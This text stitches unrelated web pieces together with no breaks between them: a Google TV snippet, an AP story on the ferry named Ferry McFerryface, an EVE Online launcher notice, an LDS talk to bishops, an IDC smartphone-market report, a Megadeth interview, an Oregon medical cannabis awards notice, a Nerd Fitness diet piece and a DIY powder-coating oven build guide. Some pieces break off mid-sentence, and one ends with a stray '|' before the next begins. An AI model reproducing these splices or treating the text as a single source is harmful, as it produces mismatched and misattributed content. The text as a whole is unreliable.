Still, Google TV appears to be one of the company's most polished designs to date, and Duarte could be instrumental in helping usher Google out of the age of design-by-engineer. Let's hope so, anyway. [All Things D]This undated artist's drawing provided by Transport for NSW shows the design of the last ferry in a new Sydney Harbour fleet which will be christened Ferry McFerryface. "Given 'Boaty' was already taken by another vessel, we've gone with the next most popular name nominated by Sydneysiders," New South Wales state Minister for Transport and Infrastructure Andrew Constance said in a statement Tuesday, Nov. 14, 2017. (Transport for NSW via AP)
SYDNEY (AP) — A new Sydney Harbor ferry will be christened Ferry McFerryface — Sydney’s second favorite choice after the now famous jokey Mc-moniker, Boaty McBoatface.
New South Wales state government officials overruled the most popular name for the ferry after the trendsetter was first snubbed last year as a name for a British polar survey vessel. That ship was christened Sir David Attenborough in honor of the naturalist and broadcaster and Boaty McBoatface became the name of one of its remotely operated submarines.
“Given ‘Boaty’ was already taken by another vessel, we’ve gone with the next most popular name nominated by Sydneysiders,” New South Wales Minister for Transport and Infrastructure Andrew Constance said in a statement Tuesday.
“Ferry McFerryface will be the harbor’s newest icon and I hope it brings a smile to the faces of visitors and locals alike,” he added.
Ferry McFerryface joins the ranks of Trainy McTrainface, a Swedish express train, and Horsey McHorseface, a Sydney racehorse, after a trend started by a suggestion from a former BBC radio host.
Sydney residents have been encouraged for the past year to name six boats in a new Sydney Harbor fleet through the Name Your Ferry website and more than 15,000 responded.
The other new ferries were named after prominent Sydney Aborigines Bungaree and Pemulwuy and Australian medical doctors Victor Chan, Catherine Hamlin and Fred Hollows.We’re happy to announce that a few changes will be coming to the EVE Online Launcher tomorrow, after completion of significant revisions to the codebase for the launcher’s UI.
The revision has allowed us to break the launcher into smaller components, for better fault finding and bug fixing, as well as allowing for better logging of issues, and streamlining of the client launch process.
So, what does this mean for you guys?
Overall, going forward, you’ll be able to benefit from a more streamlined and healthier launcher, that has a more streamlined launching process from the client, which should reduce the impact on your system if you’ve got a lot of accounts pinned to your launcher.
An issue where the launcher could forget – or remove - pinned accounts on startup should be fixed with this iteration, and it should no longer remove accounts when it fails to refresh the account. Instead, an error message will be displayed, rather than your accounts simply vanishing from the list. Pilots will also benefit from a few new UX improvements, including a loading indicator before the login window appears, and an improved progress bar when starting clients.
Refreshing the launcher, updating the UI version, or switching from TQ to test servers – or vise versa - will now cause non-pinned accounts to be logged out going forward.
While these changes are great for the health of the launcher, they don’t come without one small drawback.
The user data that we hold is not compatible between the old and new series of launchers, which means we won’t be able to migrate any pinned accounts from the old UI to the new version.
This means that once the changes are deployed tomorrow, all players will have to log their accounts in again.My dear brethren, I am deeply grateful to President Kimball for the opportunity to speak with you tonight. I think I would not be far wrong in estimating that approximately 90 percent of the bishops of the Church are present somewhere in this meeting tonight. I would hope that about the same percentage of Aaronic Priesthood quorum presidencies are present with their bishops. It is to the bishops and quorum presidencies I wish to direct my remarks.
At a meeting in the Salt Lake Temple, called by the First Presidency and attended by the Quorum of the Twelve and some of the other General Authorities on April 9, 1972, President Harold B. Lee charged the Presiding Bishopric with our responsibility in the following words:
“Now to the Presiding Bishopric, there are two great divisions of the priesthood as spelled out in the 107th Section of the Doctrine and Covenants, the Melchizedek Priesthood and the Aaronic Priesthood. The ecclesiastical title of those who head the Melchizedek Priesthood is the First Presidency, but their priesthood title is the Presidency of the High Priesthood of the Church. The title Presiding Bishopric is your ecclesiastical title, but your priesthood title is the Presidency of the Aaronic Priesthood of the whole Church. Having that in mind then, you must have clearly in mind that first and foremost of all responsibilities you have is to look after the Aaronic Priesthood. … You will help to bring the focus of the time to young men of these critical ages; and when we refer to the young men, we mean the girls also. We can’t save the boys without the girls. So all through your ministry remember, nothing should be secondary to placing great emphasis on the work of the Aaronic Priesthood, to work with the auxiliaries to see to it that they function in an auxiliary capacity, but always with the thought in mind of magnifying the priesthood and of making certain that no auxiliary takes ascendancy over the priesthood.”
In response to this injunction and through revelation given to a prophet, the Aaronic Priesthood MIA program was given birth. It was announced to the Church one year ago now at April Conference, 1973. It was inaugurated in September of the same year. In effect it brought two auxiliaries, the Young Men’s Mutual Improvement Association and the Young Women’s Mutual Improvement Association, directly under the umbrella of the Aaronic Priesthood. They then became priesthood oriented and priesthood directed.
Evidence that this change was divine is just now beginning to break over the horizon. In just over seven months of operation, we see miracles taking place in the lives of our youth. These wonderful things are happening in every ward and branch of the Church where the adult leaders have caught the vision of the program and understand its source. As to its source, may I quote from President Lee’s address at June Conference:
“One or two thoughts have impressed themselves upon me as we have witnessed and have listened. During the year that has passed, we have pondered, we have prayed, we have searched, and now we come with a declaration to all of you that you may know with a certainty that defies all doubt that this which you have witnessed, this which you have heard has been divinely inspired.
“I have occasion to recall again and again what the Lord said: ‘And in nothing doth man offend God, or against none is his wrath kindled, save those who confess not his hand in all things, and obey not his commandments.
“‘But learn that he who doeth the works of righteousness shall receive his reward, even peace in this world, and eternal life in the world to come.’ (D&C 59:21, 23.)
“I choose not to offend God by claiming that all of this has come by the will of men. I confess with all my soul that these things are of the Lord, and they have come through righteousness, through prayer, and through great needs.” (Ensign, Sept. 1973, pp. 81–82.)
In my remarks tonight, I have nothing new to introduce, but if the Lord will bless me, I will attempt to discuss some of the basic principles of the program.
The guiding principle upon which we base all our efforts was given us by the Prophet Joseph Smith in response to a question of how he governed his people. As you know, he said, “I teach them correct principles, and they govern themselves.” (Priesthood and Church Government, comp. John A. Widtsoe, Deseret Book Co., 1939, p. 100.) In all we and our associates, the general presidencies and their boards, are doing, we are merely trying to teach correct principles, adding a few suggestions and letting you stake presidencies, bishoprics, branch presidencies, and Aaronic Priesthood quorum presidencies govern yourselves.
A moment ago I quoted President Lee’s charge to the Presiding Bishopric. Except for scope, that same charge applies to every bishopric in the Church. As you bishops were ordained and set apart, in addition to being set apart as the bishop of your ward, you were set apart as the president of the priests quorum of your ward and, with your counselors, as the presidency of the Aaronic Priesthood of your ward. As President Lee said, this is your priesthood title, and it is “first and foremost of all responsibilities.” He further stated, “When we refer to the young men, we mean the girls also.” In other words, the youth of your wards are your first and foremost responsibility.
Although the principles we shall discuss would apply to almost any leadership setting, tonight I would like to point them directly at you bishops and you presidencies of Aaronic Priesthood quorums. One of the most stimulating influences being felt in this program today is resulting from peer leadership. You presidents and counselors in Aaronic Priesthood quorums are the file leaders of all members of your quorums, active and inactive. You have a responsibility for the total well-being and activity of each of your quorum members. This means that you not only conduct the quorum meeting Sunday morning or make assignments at the sacrament table, but you provide leadership in all services and activities. This is why you have been appointed to positions of leadership in the Scouting organization. You see, Scouting is a part of priesthood responsibility. As you gain an understanding of your stewardship, you will recognize your responsibility to your members as clearly as elders quorum presidents recognize theirs for the elders and prospective elders in their quorums. The Lord revealed in section 107 of the Doctrine and Covenants:
“And again, verily I say unto you, the duty of a president over the office of a deacon is to preside over twelve deacons, to sit in council with them, and to teach them their duty, edifying one another, as it is given according to the covenants.” (D&C 107:85.) And, of course, the same applies to the teachers quorum president.
The bishop is president of the priests quorum. He is aided by a group leader. If these young men are to fulfill their stewardship and responsibilities, they must be taught correct principles. You bishops have a paramount role in seeing that they are taught properly. You have assistance, of course, from counselors and advisers, but your role is vital.
The most important and impressive lesson these young men will learn will be from you when you call them to these positions. If the call is casual, they will approach their responsibilities in a casual manner. If it is dignified and spiritual and you have by appointment invited the young man to your office for an interview, explaining to him as you call him that he is the one the Lord wants to fill this important office and that you have called him only after prayerful consideration, then he will understand the sacred nature of this important position and will make greater effort than ever to honor his priesthood. That first interview will have a lasting effect on his attitude toward his responsibility.
Another very important teaching opportunity that you personally will have with him is the personal, private worthiness interview. Of course, this is not all. He will need to be taught the principles of leadership from other wise and understanding adult leaders. Here again, the adult leaders’ responsibility is not just Sunday morning. It carries over into all church participation. As the boys participate in Scouting, they find the same adult and peer leaders as they saw in priesthood meeting Sunday morning. In other words, they find that priesthood responsibility goes far beyond the Sunday morning priesthood meeting.
It is important that adult leaders create an environment that will permit these young men to learn and grow through experience. All too often we adults are impatient to get things done; so rather than letting these young men do them, we do them ourselves. At the same time, it is important that we do not leave them to their own resources. The wise adult leader will be where he should be when he should be there so he can take advantage of teaching opportunities. This, of course, will require great patience, and much of the time he will be in the background. As President Lee used to counsel, he should be a coach and not a quarterback. There needs to be sensitive and wise balance between the youth peer leadership and the adult leadership.
Bishops, one of the most essential and important resources you have in the Aaronic Priesthood area of responsibility is the bishop’s youth committee. The degree to which you organize and properly use this committee will in large measure determine your success as the president of the Aaronic Priesthood in your ward. This is where you can make these youth leaders feel that they are a vital part of this great Church. If you will listen to them carefully, you will learn of their needs. This is where, by your example, you can teach them correct principles of leadership in a most receptive setting.
In all that we do, regardless of the programs and activities, the center of our interest must be the boy. Programs are useful only to the degree that they affect each individual boy’s life for good. As bishops, you and I have been given responsibility in perhaps one of the most unusual periods of time in the history of mankind. The spirits of this generation of youth are some of the most valiant to ever come forth. The fact that the Lord would give a revelation pertaining specifically to their generation would indicate this. I have the utmost confidence that if we, the presidents of the Aaronic Priesthood, will carry the mantle of our offices, we will be blessed to provide a stewardship that will enable these young men to rise above the things of the world and be young men of character, integrity, virtue, and faith. Recently I learned of a group of young people in whose lives a miracle is taking place. They are setting an example for the world to follow. About 3 percent of the students in a particular high school are members of the Church. A few months ago the school principal and superintendent, neither of whom are members, granted permission for these young people to have released time during the school day for seminary. This is the first high school in the entire state in which it is located that has given this permission. Just a few weeks ago, the stake president and bishop reported that the school officials are most impressed with and grateful for the good influence the Latter-day Saint students are having on the entire student body.
The lives and influences of these young people justify the faith the Lord has in this generation. With the proper guidance from you bishops, your counselors, the advisers, and quorum presidencies, a new high in leadership and devotion of the young men of the Church will be assured. This then will surely further prepare the world for the second coming of the Savior and ultimately assist him in bringing “to pass the immortality and eternal life of man.” (Moses 1:39.)
There is another responsibility you bishops have that transcends all others that I feel impelled to mention, and that is the responsibility to your families. A bishop’s wife carries an unusual responsibility in the home. May I caution you to be extra sensitive to her needs. Remember President McKay’s counsel, “No success can compensate for failure in the home.” (Conference Report, April 1964, p. 5.)
The bishops’ responsibilities are heavy. However, with proper delegation and careful organization of your time, it is possible to successfully discharge your responsibilities to your family, as well as to the Lord. May your wives and your children and all of the youth over whom you preside be blessed with your wise and sound stewardship, I humbly pray in the name of Jesus Christ. Amen.The smartphone market had one of the best quarters ever, reaching near-record-high numbers during the April to June period. While premium brands like Apple are still growing nicely, hundreds of smaller, affordable brands continue to play an important role, accounting for almost half of the market share.
According to data from the IDC, charted for us by Statista, the worldwide smartphone market had the second best quarter in history in terms of global shipments, reaching a total of 337.2 million units shipped worldwide. That’s up 11.6% from the same quarter of last year.
The market is led by Samsung and Apple, the two premium brands in the high-end smartphone category. But as the chart shows, non-premium brands selling affordable devices in emerging markets — looped in the “Others” category — took 45.2% of the total smartphone shipments last quarter, nearly double what the the market-leading Samsung accounted for.
“The overall growth of the smartphone market was not only driven by the success of premium flagship devices from Samsung, Apple, and others, but more importantly by the abundance of affordable handsets that continue to drive shipments in many key markets,” Anthony Scarsella, Research Manager with IDC’s Mobile Phone team, said in a statement.
It’s also worth noting that Samsung lost over 3-percentage points in market share, while Apple, Huawei, and Xiaomi all saw incremental increases. The low-end, “Other” brands also slightly dropped its overall share.
The report stressed that while the Chinese smartphone manufacturers still lead in the non-premium market, IDC is seeing new brands join the market every quarter and is now tracking over 200 difference smartphone brands globally.
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If thrash metal musicians were subject to the rules of elite sportsmen and women, there’s a fair bet three of the world’s big four acts would be under high suspicion for having recently consumed mega volumes of performance enhancing supplements. Guitar-slinging Megadeth frontman Dave Mustaine would certainly be one in need of sample submission, considering the mind-blowing immense brilliance of his band’s most recent release, Dystopia. In stores last Friday, the album is arguably the band’s finest work in at least a decade. In thrash circles it follows fellow “big four” alumni Slayer’s stellar late 2015 release, Repentless, and precedes next month’s monster longplayer from Anthrax, For All Kings. That of course only leaves one other member of the “big four” to impress with new material – Metallica - and that band’s work rate suggests an altogether different substance intake. Only days before the album’s release, on which he was joined by bass buddy David Ellefson, and newcomers Kiko Loureiro (Angra) and drummer Chris Adler (on loan from Lamb Of God), Mustaine spoke to the Gazette. He appreciated the compliments and offered some substance-free reasoning for the incredible new release. "I can't speak for my brethren, but I thank you for myself,” Mustaine said. “I think having two new guys in the band is really cool. “Sometimes you just kind of lose sight of the things that make you love something about a project and I know that I was really struggling at a time with my health - with my neck - and there were some decisions that were made when I was unable to make them and they just weren't kind of good for the band as a whole. “You make these changes and you see that it’s the right thing to do and you start making the right changes. It takes a little while to get your act back in order. We feel right now that everything is just firing on all cylinders. New management. New label. New everything. It's just great.” Dystopia was recorded in Nashville, produced by Mustaine and mixed by Josh Wilbur. Mustaine said there was a great deal of excitement in the studio – perhaps enhanced a little by coffee intake. “People would come to the studio and they'd be rolling in coffee - Kiko would come in and make a double latte, Chris would have a couple of coffees and David would already have had a couple and I would go and sneak a beer in the bathroom because I was like, ‘man, I don't want these guys to see how fricken’ wired I am right now’. If I were to have one sip of coffee I probably would have exploded. “I was so fired up to have all this talent. Everybody knows David, but Kiko's a relatively unknown talent, and Chris … what he did with Lamb Of God and a lot of his other side projects that he's done has been great, but to have him work for me and have that kind of ability work for me, whether what we did together was better or worse than anything he's done with anybody else, I just knew that it was going to be really liberating for me to be able to go in there and just do what ever I wanted with somebody with this kind of talent. It reminded me a lot of when I went in with Vinnie Colaiuta [known for his work with Frank Zappa].” Mustaine says the fact that Adler was, by his own admission, already a fan of Megadeth’s previous work, certainly made it easier when he took to the skins in the studio. "It was exciting to know that we'd had that much of an influence on him,” Mustaine said. “It made it a lot easier to say, ‘why don't we do a part kind of like this song or on this part right here, think of that kind of pushing and pulling’... it's a lot easier when somebody has something they can picture in their mind's eye when you're working on music. “I got to tell ya, I had so much fun working with Chris. There was one part in particular. We were recording the majority of stuff for pledgemusic.com and I'm just praying that we had this one clip, I think we do, but he was trying to do this one part, I had this one really crazy part that Gar [former drummer Gar Samuelson] could do, but it was one of those really weird kind of like pat your stomach and rub your head kind of things and I kept saying doing it like this and he couldn't do it and he was getting madder and madder and madder and I couldn't stop laughing, and he kept trying and he started swearing... I started crying I was laughing so hard and I said, 'you've gotta stop', because I thought that I was going to have a heart attack. I couldn't breathe. “He sat there and he couldn't hear what I was saying, but I could everything that he was saying. It was like, ‘shit, f**k, damn it, shit, goddamn it, shit’ and it was getting madder and madder and I'd never heard him swear the whole time and he started on a total friggin’ melt down.” One of the most easily recognised differences between Dystopia and other recent Megadeth releases is the return of shredding guitars and dazzling solo fret play. It is a release far closer to the vibe of Peace Sells and Rust In Peace than Endgame and Thirteen. Baffling listeners with a slew of changes and copious lashings of technical brilliance isn’t necessarily in Mustaine’s mind when it comes to writing. "I don't think it has to be that way,” he said. “I'm sure to you it seems that way because to me it seems that way sometimes too. I think at times too, ‘am I making this too difficult for the sake of being difficult and then I listen back to the part and it’s like, ‘well that part's a little wimpy, you need to beef it up a little Dave’, or I'll do a part and it will be like super heavy and it will be butted up against a melodic part and the opinion will be like, ‘wow, that part is so heavy and so brutal and so great but it’s not right next to that part’, and then you make up your mind - do you keep the melodic part and make that a chorus at some point or do you keep the brutal part and make that a bridge or a verse? “For me that's the most fun part. I told Adler I had 200 song ideas in my drive and I don't think he believed me, but then he got to the studio and saw that and went, ‘man, you were serious, weren't you?’. I've got stuff back from So Far, So Good... So What days.” Mustaine agrees with the notion that Dystopia’s brilliance owes a great deal to he and his band mates not being afraid to be informed by the band’s back catalogue successes. "Being able to look and see what our strong parts are and being able to draw from them without copying them; I think that's where most people blow it... they either won't go back there because they don't know how to balance that line because they're afraid that they'll just blatantly copy it - I did have a little trepidation, I don't want to do the same song twice - but I also know that we've had several songs where we've done part two on it and gotten away with it, you know Return To Hangar is part two [of Hangar 18], and oddly enough people have said that Dystopia is Hangar 18 part three. No it’s not.” Despite Dystopia being release number 15 in a career that started in 1983, Mustaine, 54, says nerves still creep in when it comes to preparing new material. “It depends on what my behaviour has been like prior to a release,” he said. “If everything is great and people know that there's going to be something really good coming then there's a certain reward that comes from it and there's a certain pride that comes from it. If you make a bad decision and end up falling on your face and you're trying to win some people over, which has happened a couple of times in my career, where I've lost my job and I've had to win a couple of fans back over, that's a totally different feeling when you start winning again. “I like to win no matter what, but I certainly like to make up for bad stuff that I've done in the past. That's what I like the most about right now, because there's a lot of people that bad stuff has happened to them over the course of Megadeth's career - the people we've worked with, the people who've got hurt - we get to see them again out on the road and say, ‘dude, what's happening, let's write or have a drink or something like that’.” Those familiar with Mustaine’s Megadeth will be well aware of the man’s often confronting lyrical bent, regularly questioning aspects of humanity and the powers that be. "The word play stuff sort of comes along easy because there's a lot of daydreaming that goes on in the course of the day,” Mustaine said. “I watch and read a lot of news stuff. I'll be out in public and I'll be listening to what other people are talking about - not so much being a professional eavesdropper, but when you're travelling in the course of the day you just can't help hearing what other people are talking about so listening to what the current commentary is from people; seeing what really is trending through lack of a better word. “I think that's the stuff that keeps me curious. Also, what we see going on with the networks and stuff in the States is like, there's that huge question mark of: ‘is this really happening, is it all around, or is it all what they want us to think and none of this is real?’.” Mustaine says he has always intended for his lyrics to serve as think-pieces for his listeners. "I think that's one of the underlying things I've wanted from all of our records not just this one, is to think for yourself,” he said. “There have been a lot of people who don't agree with what I say and I think that they first off don't understand why I say the things that I say - I don't say things like this as the gospel according to Dave, I say things like, ‘hey check this out, don't take my word for it, see it for yourself’. “Then there's other people that don't really know me and they just get on the bandwagon from the last band I was in [he was the original guitarist in Metallica] … and the people that hate me because of not being in that band anymore. “There's a couple of tribes out there that don't like me just because it’s trendy to do that and they don't even know why they don't like me. You know a lot of the beliefs out there surrounding me … once people find out the truth around it, it’s actually pretty interesting stuff, which I think is really cool, you know the folklore with a lot of the things that have happened with Metallica and Megadeth. It's really super interesting shit and I love telling the story. A lot of times it will changes peoples perspective of me for the better, sometimes it doesn't - I don't really tell people the history to change their minds on stuff, but it is cool to see how things really started off and it is cool for people to see how our scene grew from being this little tiny band to what it is now.” Speaking to people is something Mustaine is happy to do, fans in particular, and on most days you will find him doing so on twitter. "It's fun,” he said. “I even talk to the trolls. The funny thing is for those little f**kers to being following me, to be wasting their time saying something to try and get me riled up, they're fans. In order to follow me, they've got to be fans.” As well as celebrating Megadeth’s current place in the world, Mustaine is also playing the part of proud father. His daughter Electra is on the verge of launching her debut single to the American country music market. Surprisingly, it’s a cover of her old man’s song I Thought I Knew It All from Megadeth’s 1994 album Youthanasia. Electra, who turns 18 on January 28, served as duet partner for Stryper frontman Michael Sweet on his cover of Neil Young’s Heart Of Gold on his last solo release, I’m Not Your Suicide. "She's really remarkable and the great thing about it too is she didn't go telling everybody she's my kid or use her dad's name to open the door and get beer coupons and stuff like that,” said Mustaine. “She's worked on her own and been really disciplined and paid all of her bills herself. She's done the mixing and mastering and directing of her video and I'm like, ‘wow kid. I'm really proud of you.”
https://nnimgt-a.akamaihd.net/transform/v1/crop/frm/eTBbQGqUAgjVpgRS4SQUUF/7b18c8c3-250f-4950-86aa-a434c641a53b.jpg/r2_368_3598_2400_w1200_h678_fmax.jpgJudges’ positions for the Oregon Medical Cannabis Awards are still available as of this writing on Sunday, November 11, 2012. The Awards will be held on Saturday, December 15, 2012. Judging is open to registered Oregon Medical Marijuana patients only.
Judges packets will be ready to go out on November 15th to allow plenty of time for sampling. In a blind taste test, judges are given 28 samples of Oregon’s finest medical cannabis to sample and judge in the privacy of their own homes. They score each strain on appearance, aroma, taste, smoothness, potency and medicinal effect.
“This is not the first time that our entrants’ spaces have filled up first, but it still surprises me,” reports Madeline Martinez, owner of the World Famous Cannabis Cafe and hostess of the event. “When we first started the OMCA, this was the only access to medicine that some patients had for the whole year. We have come a long way since then.”
A Facebook page was started on September 1st to make it easier to enter. Entry forms are also available at the cafe website.
Now in its eleventh year, the OMCA started as a way to document the effects of various strains. No testing was being done to help patients learn which strains worked best for their conditions. So, Oregon NORML took on the task which was passed on to the World Famous Cannabis Cafe in 2010 when NORML changed their chapter guidelines.
The OMCA also recognizes heroes within the Oregon cannabis community. This year, the Dr. Rick Bayer Award goes to Paul Stanford for his valiant efforts at legalization. The Freedom Fighter of the Year Award honors the Measure 80 Campaign Crew.
Oregon patients can register to be judges by November 15th:
at the website
by joining the Facebook group and downloading the forms
by stopping in at the World Famous Cannabis Cafe to pick up a packet in person
Oregon Medical Cannabis Awards 2010: J. Mack and Big Dub – Pass the LegislationDo you struggle with healthy eating…because you’re not quite sure what that means?
Maybe your doctor told you that you need to lose weight.
Maybe you’re sick and tired of being the self-deprecating big guy/girl in your group of friends.
Maybe you just had your first kid and realized you need to be there for him growing up.
Maybe you woke up this morning, looked in the mirror, and finally came to the realization that it’s time to start taking care of yourself.
Whatever your reason is for wanting to make a change, you’re not alone! Every day, thousands of people make the decision to start eating better and losing weight…and every day those thousands of people don’t really have any plan or idea what they’re doing.
After all, there are so many freaking decisions to be made:
Should I follow the food pyramid?
Should I be counting all of my calories?
What about “heart healthy” whole grains? I hear the Mediterranean Diet is saving lives…
Should I be doing Keto? Paleo? Intermittent fasting?
How many Twinkies can I fit in my mouth?
Fear not, for Nerd Fitness is here! (This is where the Nerd Fitness theme song would play…if we had one).
If you’re looking to start losing weight, living healthier, and feeling better, it really comes down to a few key rules:
Eat mostly real food.
Eat fewer calories than you did in the past.
Avoid liquid calories like the plague.
Avoid the plague.
I realize following these rules is much easier said than done – if it was easy then everybody would look like superheroes and super models.
But damnit, cake is delicious and you had a bad day and “diet food” is terrible.
And that’s why nobody follows those rules: Life gets in the way and sticking with a diet for more than a week is brutally tough. And diets don’t even work anyways!
And yet…we still fight the good fight. We go on a diet, we starve ourselves, we eat crappy low-fat diet food that tastes terrible, and we become so hungry and cranky and miserable, and yet we STILL don’t see the number on the scale get smaller.
I hear you. This stuff sucks.
There’s nothing more frustrating than putting in effort for months (or years) while eating food you hate and avoiding food you love…only to put all of the weight back on when you stop dieting.
I hate that. And I created Nerd Fitness to help people break that cycle and put an actual plan in place to change their lives without being miserable.
This also led to the creation of our 1-on-1 Online Coaching Program, where you’ll get nutritional guidance from a coach that gets to know you better than you know yourself, can answer your questions about what to eat and when, and help keep you accountable.
Schedule a free call with our team by clicking on the image below to see how our coaching program can help you lose weight and eat healthier without hating life at the same time 🙂
And with that out of the way, let’s dig in (heyo!) to the Nerd Fitness philosophy on food. MMMMMM.
The Nerd Fitness Diet Philosophy
If I had to break down the Nerd Fitness Diet into a single sentence, it would go something like this:
“You’re smart and you know what real food is, so stop eating crap.”
You know what real food is: things that grew in the ground, on a tree, came out of the sea, ran on the land, or flew through the air. Meat, fish, eggs, vegetables, fruits, nuts are all great examples of REAL food.
On top of that, you know what crap food is: food that comes from a drive-thru window, a vending machine, box, bag, or wrapper. If it has an ingredient list longer than A Game of Thrones, it’s probably not good for you. If it started out as real food and then went through fourteen steps to get to the point where you’re about to eat it, it’s probably not good for you.
Use this information and combine it with this mantra: “you can’t outrun your fork“. When trying to lose weight, feel healthy, and get in shape, 80% (not an exaggeration) of your success or failure will come from how well you eat – which is why this point is one of the cornerstones of the Rebellion.
Mental Preparation
Eat more real food, you must. Eat less junk food, you will.
I realize this concept is nothing new or revolutionary |
16-gauge sheet metal. The reason for the thicker gauge metal on the floor is to allow it to support the weight of a powder coating rack. All sheet metal, studs, and track can be purchased locally from Home Depot, Lowe's, or a local metal supply company. You can buy it online as well, but shipping costs will likely cancel out any cost savings. It is best to shop around, call some metal supply places in your area and get some quotes. Inside of the oven is where you will put the heating elements, which will be wired to a control box on the outside of the oven.We will start with the framing. The framing for this oven will all be made with galvanized steel studs and track. Steel track is very similar to steel studs except that they do not have a lip on the inside of the stud. This allows the steel studs to fit into the track. These are the same studs used to frame homes. They are available at both Home Depot and Lowe's for about $7.00 each. They are 3 5/8" wide x 1 5/8" thick and are available in 10' lengths or 8' lengths. It is best to buy a bunch of these to begin with. You don't have to get to scientific with it figuring out exactly how many you will need, you can purchase more as you go along. Working with these is pretty easy as they are quite thin (25-gauge). They are easy to drill and they can be cut with tin snips or a chop saw. Since you will be cutting a lot of studs, I recommend a at least a decent pair of snips like these: Stanley Straight Aviation Snips The framing will all be held together with rivets Rivets are really easy to use, and they are cheap. You first drill a hole, then with a rivet gun, you place a rivet into the hole, squeeze the trigger and you are done. You are probably familiar with a hand rivet gun, but I strongly recommend a pneumatic rivet gun if you have an air compressor (you have read my article about How to Buy an Air Compressor right?). A pneumatic rivet gun will save you tons of time and you you'll still have use of your hands at the end of the day. Again, I recommend a decent pneumatic rivet gun, this Astro Pneumatic Air Riveter offers a good price/performance ratio. It is by no means an industrial tool, but you will pay several hundred dollars for a high end pneumatic rivet gun. You will need lots of rivets to go with whatever rivet gun you decide to use. The most important thing about rivets is to make sure they are the same type of metal as what you are working with to avoid galvanic corrosion. Since this is a steel oven build, you will need steel rivets. Also important with rivets is to drill the appropriately sized hole. A pack of 1000 3/16" diameter x 1/8" grip steel pop rivets should get you through the oven build with a few left over. These will allow you to rivet stacks of metal with a maximum thickness of 0.125" and a minimum thickness of 0.020". Make sure to adjust accordingly if you are using thinner or heavier gauge steel studs and sheet metal. The 3/16" rivets mentioned require a #11 Drill bit for best fit.Now that you have your rivets, rivet gun, and studs, you can start to build the floor frame. Make sure you cut and measure the floor to exactly the size you want your oven to be. Your walls will sit on top of the floor. When making the square section of the floor, you will overlap the studs so that they sit inside of each other on the corners. Once you have the studs in place, you can keep them there with a locking c-clamp. You will then rivet where they overlap on top and bottom (see the red dots in the pictures below for rivet locations). Start with 1 rivet per corner so that the studs are able to pivot. Use a speed square to square up all of your corners before riveting into place. After you have all four sides secured like you see below, you can then go back and add more rivets to each corner.Once you have the 4 sides of the floor done, you will add more studs for support using the same procedure as above.The same procedure is used for the walls, the picture below is the back wall. The side walls are made the same way, just make sure you measure and account for the size of the back wall.You will then place the walls on top of the floor, one at a time, and rivet them to the floor:Once you have the back wall in place, and have constructed the side walls, you will put them in place and rivet them to the floor and to the back wall.Then assemble the ceiling the same way you assembled the floor:This is the point of the build where the recessed heating elements come into play. The heating elements have their own boxed-in sections in the walls, but every square inch of the powder coating oven must be insulated. The hollow place between the studs is where the insulation would normally be placed, however since the heating elements will be taking up that hollow space in these boxed in sections, another boxed in section of insulation must be added to the outside of the oven where the heating elements are recessed. If you do not plan on recessing heating elements and other items in the oven walls, then you will exclude these boxed in sections.Here you can see the boxed in sections on the bottom for the heating elements, along with more support studs in the walls:Once the structure is framed up, you then will begin skinning it will sheet metal. Sheet metal can be purchased at your local Home Depot or Lowe's but if you go through a metal supply company, most of them have will cut the sheet metal to your specifications. You will need long straight cuts here and metal companies have large brakes that can cleanly makes these cuts for you. I recommend galvanized steel sheet metal which will help keep your oven rust free. This particular oven uses 20-gauge steel everywhere except the floor which is 16-gauge. When choosing the thickness, you will want to stay in the 16-gauge to 26-gauge range. Each has its benefits and drawbacks. Using a thinner gauge is cheaper and will allow the oven to heat up faster. Thicker gauge is more expensive, but sturdier and will retain the heat better once the oven it is heated up. This saves on heating costs.The first layer of 16-gauge is laid down on the inside of the floor and riveted into place, also additional stud supports are added to the bottom. Do not skimp on the rivets here, the sheet metal ties all of the framing together.The entire inside of the oven is now skinned:After everything is skinned, the four cutouts for the heating elements are made using a Dremel. A pneumatic cut-off tool would also work here. Make sure to mark all your cuts accurately with a straight-edge and a square.This oven will have a convection fan on the top that will circulate the air from the top of the oven to the bottom. This helps equalize temperatures throughout the entire oven. Here you can see the duct work inside the wall of the oven that brings air from the top to the bottom. These slim rectangular types of ducts are called stack ducts. This oven uses 10" wide x 3.25" deep stack ducts This is where the air will exit the duct into the bottom of the oven:This is thethat will be used on top of the oven to circulate the air:Here you can see how the ducting was wrapped around from the side wall to the top of the oven to the fan, and you can see the stack duct elbow partially visible on the top. The same metal studs used to build the oven frame were used to finish the ducting to the blower. High Temp Sealant was used on the duct work to prevent the forced air from leaking into the oven frame. This sealant is rated for 600F. The top sheet metal duct piece was then riveted into place.Here is a picture of the interior top-side of the oven where the inlet for the blower is:That completes the convection system of the oven. As you can see, the air is pulled up through the top of the oven and is ducted back down the side wall and into the bottom of the oven using rectangular steel stack ducts, which will equalize the temperature throughout the oven. This is very important when powder coating as a large oven like this with no circulating air can have temperature fluctuations of up to 50F from the top to the bottom.This oven build has three recessed lights in the ceiling. By recessing them, they will never interfere with the powder coated items inside of the oven. Recessing them does take some extra steps and a some extra parts as you can see below. If you choose not to recess them, all you would need is the light fixture and the bulbs.This is a single finished light assembly before being installed on the top of the oven:Here are the parts needed to make each light assembly: Porcelain Lamp-holder (1 per light assembly) 40-watt Appliance Bulbs (1 per light assembly) 6-inch Duct Cap without crimp (2 per light assembly) 6-Inch Duct Flex Connector (1 per light assembly)To make the light assembly, install the porcelain lamp-holder onto the inside of the 6-inch duct cap. Drill holes for the lamp-holder mounting hardware, and using a hole-saw, drill a center hole to have access to the wiring terminals. You then place the end cap with lamp holder onto the splined duct flex connector. Then frame the assembly you have made with the same steel studs that have been used throughout the oven build. The bulbs and lamp-holder are completely capable of withstanding the 450F temps that the oven will be operating at. Here is a picture of the backside of the completed assembly.Here are the three light assemblies riveted into place. Before placing them, you will need to cutout holes for the duct caps in the ceiling.You can see the duct caps with holes cut in them placed through the sheet metal onto the light assemblies. This gives a nice finished look. The ceiling is completed now with the three recessed lights and blower fan.Every wall of the oven needs to be insulated. The insulation is responsible for containing the heat inside of the oven. The most common choices of insulation for a powder coating oven are mineral wool or fiberglass. Mineral wool insulation has a higher temperature rating, however it comes at a higher price. If you plan on curing ceramic coating in your oven, mineral wool would be a better choice because of the higher temperatures that ceramic coatings require. If you only plan to cure powder coat, you can use fiberglass insulation and save some money.This oven build uses unfaced R13 fiberglass insulation throughout. Two batts of insulation were used with some left over. Insulation like this is available online or at your local hardware store. You will need to put insulation in between every stud. Cut the insulation to fit in any odd-sized spaces. The easiest way to cut insulation is with a sharp utility knife using a 2x4 as a straight edge. When working with insulation, you will want to be wearing full safety gear 